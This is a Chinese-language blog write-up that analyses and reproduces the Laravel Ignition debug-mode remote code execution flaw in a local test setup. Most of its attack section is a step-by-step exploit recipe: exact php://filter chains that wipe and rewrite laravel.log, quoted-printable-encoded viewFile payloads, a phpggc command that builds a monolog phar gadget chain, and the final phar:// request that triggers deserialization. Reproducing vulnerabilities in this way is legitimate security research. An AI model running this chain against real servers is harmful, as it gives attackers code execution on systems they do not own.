测试环境

  • OS: MAC OS
  • PHP: 7.3.18
  • Laravel:8.22.0

环境搭建

根据原文(https://www.ambionics.io/blog/laravel-debug-rce)的搭建方式,把服务开起来。

访问http://127.0.0.1:8000/

可以看到这时候Ignition(Laravel 6+默认错误页面生成器)给我们提供了一个solutions,让我们在配置文件中给Laravel配置一个加密key。
点击按钮后会发送一个请求

通过这个请求Ignition成功在配置文件中生成了一个key。

接着页面就可以正常访问了,环境也就搭建完了

漏洞分析

漏洞其实就是发生在上面提到的Ignition(<=2.5.1)中,Ignition默认提供了以下几个solutions。

通过这些solutions,开发者可以通过点击按钮的方式,快速修复一些错误。
本次漏洞就是其中的vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php过滤不严谨导致的。
首先我们到执行solution的控制器当中去,看看是如何调用到solution的

<?php

namespace Facade\Ignition\Http\Controllers;

use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
use Facade\IgnitionContracts\SolutionProviderRepository;
use Illuminate\Foundation\Validation\ValidatesRequests;

class ExecuteSolutionController
{
    use ValidatesRequests;

    public function __invoke(
        ExecuteSolutionRequest $request,
        SolutionProviderRepository $solutionProviderRepository
    ) {
        $solution = $request->getRunnableSolution();

        $solution->run($request->get('parameters', []));

        return response('');
    }
}

接着调用solution对象中的run()方法,并将可控的parameters参数传过去。通过这个点我们可以调用到MakeViewVariableOptionalSolution::run()

<?php

namespace Facade\Ignition\Solutions;

use Facade\IgnitionContracts\RunnableSolution;
use Illuminate\Support\Facades\Blade;

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    ...
    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']);

        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

        $originalTokens = token_get_all(Blade::compileString($originalContents));
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) {
            return false;
        }

        return $newContents;
    }

    protected function generateExpectedTokens(array $originalTokens, string $variableName): array
    {
        $expectedTokens = [];
        foreach ($originalTokens as $token) {
            $expectedTokens[] = $token;
            if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_COALESCE, '??', $token[2]];
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
            }
        }

        return $expectedTokens;
    }
}

可以看到这里主要功能点是:读取一个给定的路径,并替换$variableName$variableName ?? '',之后写回文件中。
由于这里调用了file_get_contents(),且其中的参数可控,所以这里可以通过phar://协议去触发phar反序列化。
如果后期利用框架进行开发的人员,写出了一个文件上传的功能。那么我们就可以上传一个恶意phar文件,利用上述的file_get_contents()去触发phar反序列化,达到rce的效果。

phar反序列化

从phpggc里拿一条laravel中存在的拓展的链子。

./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o /Applications/MxSrvs/www/laravel/phar.gif


是可以成功利用的。
但是原文作者给出了一种基于框架触发phar反序列化的方法:将log文件变成合法的phar文件。

log 转 phar

先来看看正常的log文件长什么样

  • /storage/logs/laravel.log
[2021-01-14 04:32:43] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/Applications/M...', 75, Array)
#1 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')
#2 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional(Array)
#3 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run(Array)
#4 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke(Object(Facade\\Ignition\\Http\\Requests\\ExecuteSolutionRequest), Object(Facade\\Ignition\\SolutionProviders\\SolutionProviderRepository))
#5 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(254): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController), '__invoke')
#6 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(197): Illuminate\\Routing\\Route->runController()
...
#34 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#35 /Applications/MxSrvs/www/laravel/public/index.php(52): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#36 /Applications/MxSrvs/www/laravel/server.php(21): require_once('/Applications/M...')
#37 {main}
"}

清空log文件

作者在文章中提出了使用php://filter中的convert.base64-decode过滤器的特性,将log清空。

可以看到convert.base64-decode过滤器会将一些非base64字符给过滤掉后再进行decode,所以可以通过调用多次convert.base64-decode多次触发该特性来将log清空。

但是这样做其实会出现一些非预期的问题

如果在某次decode时,=号后面出现了别的base64字符,那么php是会报一个Warning的。且由于laravel开启了debug模式,所以会触发Ignition生成错误页面,导致decode后的字符没有成功写入。
根据这个思路的原理,我们可以将清空日志分成两个步骤:

  1. 使log文件尽量变成非base64字符
  2. 通过convert.base64-decode将所有非base64字符decode,达到清空的目的

作者在第一步使用的方法为多次convert.base64-decode,但是这样可能会在其中的某一环报上面提到的错误。所以我们可以想办法找到另外一种方式达到第一步的目的。
原log文件

  1. 使用convert.iconv.utf-8.utf-16be(UTF-8 -> UTF-16BE)

  2. 使用convert.quoted-printable-encode(打印所有不可见字符)

  3. 使用convert.iconv.utf-16be.utf-8(UTF-16BE -> UTF-8)

可以看到经过这样操作后log文件中所有字符变成了非base64字符,这时候再使用convert.base64-decode过滤器就可以成功清空了。

将上述链条和起来就是
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
这样我们就完成了第一步。

写入符合规范的phar文件

我们可以通过这里的file_get_contents()去触发日志的记录

通过观察,我们可以发现log文件的格式其实是下面这样子的

[时间] [某些字符] PAYLOAD [某些字符] PAYLOAD [某些字符] 部分PAYLOAD [某些字符]

我们的PAYLOAD会在log文件中完整出现两次,我们最终需要让log文件变成我们的恶意Phar文件。所以我们还得继续对log文件进行操作。

原作者给出了一种使用convert.iconv.utf-16le.utf-8将utf-16转成utf-8的方案

但是这里出现了两次PAYLOAD,我们可以在PAYLOAD后面添加一个字符,使得utf-16转成utf-8时总有一个PAYLOAD能被转换出来。

这样子就是我们预期的效果,因为除了PAYLOAD的部分都是非base64字符,只要我们将PAYLOAD进行base64编码后再decode即可把非base64字符消除掉。

但是这么做还会有一个问题,就是在file_get_contents()传入\00的时候php会报一个Warning,同样会触发Debug页面的报错。所以还得想办法将空字节(\00)写入到log中。

好在php为了将不可见字符打印出来,给出了一个convert.quoted-printable-encode过滤器

原理就是将字符转成ascii后前面加个=号,将其打印出来。
而与之对应的convert.quoted-printable-decode过滤器,则是相反。
原理是将等于号后面的ascii字符解码后,打印出来。

所以我们可以使用=00代替\00传入到file_get_contents()
所以完整和起来就是如下这样

php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=test.txt


这样就可以成功过滤掉其他干扰字符,将PAYLOAD送到log文件中。

踩坑

坑点1

如果直接根据作者给出的方式生成PAYLOAD,在到convert.quoted-printable-decode过滤器的时候可能会出问题。
因为base64编码的特殊性,有时候在编码后的字符串后面会出现=号,而使用convert.quoted-printable-decode过滤器时会匹配=号后面的ascii字符,如果没匹配到则会报错。

所以我们需要将=号利用=3d来替换

坑点2

上面提到了,我们的PAYLOAD在log文件中除了完整的两次,还有一部分的PAYLOAD也会出现在log文件中

可以看到这里,在最后面的=号后的ascii字符被省略了,导致convert.quoted-printable-decode过滤器再次报错,所以我们可以把第一个字符P转成对应的=50,从而让这里的=号都能匹配上。

总结以上的坑点,发现都是=号匹配不上的问题,所以干脆直接将payload都进行一次convert.quoted-printable-encode编码。

写入

我们先来尝试写入一些普通字符

清空log文件

viewFile: php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

给log添加一条前缀

viewFile: AA

第三步:将需要写入的字符编码

第四步:将编码后的字符写入到log中

viewFile: =55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00

第五步:清空干扰字符

viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

成功写入了任意字符,log文件的内容我们可控了。

完整利用

在laravel的依赖里面找一条能够rce的链,如monolog/rce1。生成对应的phar文件,并将phar文件base64编码。

php -d'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o php://output | base64 -w0

PD9waHAgX19IQUxUX0NPTV ... gAAAEdCTUI=

再将该base64编码后的字符进行convert.quoted-printable-encode编码

Python 3.9.0 (default, Nov 21 2020, 14:01:50)
[Clang 12.0.0 (clang-1200.0.32.27)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> s = 'PD9waHAgX19IQUxUX0NPTV ... gAAAEdCTUI='
>>> ''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()
'=50=00=44=00=39= ... 00=55=00=49=00=3D=00'
>>>

写入到log文件

viewFile: =50=00=44=00=39= ... 00=55=00=49=00=3D=00

清空干扰字符

viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

触发phar反序列化

viewFile: phar:///Applications/MxSrvs/www/laravel/storage/logs/laravel.log/test.txt

最后

至此整个漏洞就都分析复现完了,原文章中作者没有把一些坑点讲出来,导致复现的时候出现了很多非预期的bug。但是整体的思路还是非常厉害的。
除此之外,作者在最后还提到了一种利用ftp被动模式攻击php-fpm的方法,可以通过编写一个恶意的ftp服务端来实现。也是一种十分开脑洞的方法。

参考链接:
LARAVEL <= V8.4.2 DEBUG MODE: REMOTE CODE EXECUTION

点击收藏 | 3 关注 | 1
登录 后跟帖